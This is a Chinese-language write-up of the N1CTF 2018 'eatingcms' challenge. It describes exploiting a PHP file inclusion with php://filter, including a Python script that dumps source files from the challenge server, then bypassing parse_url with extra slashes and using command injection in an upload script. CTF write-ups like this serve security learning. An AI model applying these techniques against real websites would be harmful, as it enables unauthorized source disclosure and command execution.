n1ctf-2018-eatingcms 拿到题目一个登录界面,首先是先测注入。尝试了一下发现基本都过滤了,无果。
御剑扫一下目录扫出了一个register.php,发现可以注册账号,随便注册了一个账号登录进去。
进去看了半天没有思路,退出来尝试注册界面的注册发现也没用,想过以管理员注册也没有用。
(百度查了一下思路..竟然是page处存在文件包含…果然是太年轻了..根本没注意到这个点,其实想一想开发角度可以理解)
http://47.112.16.34:22231/user.php?page=guest
把page换成php://filter去读取源码
顺手写了一个脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # -*- coding: utf-8 -*- # Python3 import requests import base64 url = "http://47.112.16.34:22231/user.php?page=" payload = "php://filter/read=convert.base64-encode/resource={}" headers={ 'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", 'Cookie':"PHPSESSID=l9mlo2iht6fpo2lkmubof4udv6" } def output(filename,results): with open(filename,'w') as f: f.write(results) f.close() def getsource(new_url,line): print(new_url) response = requests.get(new_url,headers=headers) print (base64.b64decode(response.text).decode(encoding="utf-8")) results = base64.b64decode(response.text).decode(encoding="utf-8") output(line,results) if __name__ == '__main__': with open('字典.txt','r') as f: while True: line = f.readline()[:-1] #去除\n print(line) if line: new_url = (url+payload).format(line) getsource(new_url,line) else: break
cookie和字典自己构造换一下(字典给当前目录下的就好,拿/去写的路径字典没处理)
在function.php中找到关键词
$keywords = [“flag”,”manage”,”ffffllllaaaaggg”];
既然不让看这几个就说明肯定有猫腻
看到parse_url,之前做过一个题绕过parse_url即可加一堆斜杠造成其解析错误绕过
进而找到
http://47.112.16.34:22231//////user.php?page=m4aaannngggeee
在此我们发现一个上传路径。随手传了一张图片发现跳转到
http://47.112.16.34:22231//////upllloadddd.php
于是拿到upllloadddd.php的源码
发现其中有system,是个命令注入绕过
ls发现由于后面的管道把内容加密成了base64,解码发现ls执行成功,即这个注入不存在什么绕过点,唯一优化一点就是把后面的base64绕过不用自己去解码。
输出空串作用于管道可以绕过。
最后flag在父目录下
总结一下这个题的考点:
敏感参数测试出文件包含
文件包含利用php://filter读取源码
用一堆斜杠造成parse_url的解析错误利用
命令注入(绕过管道)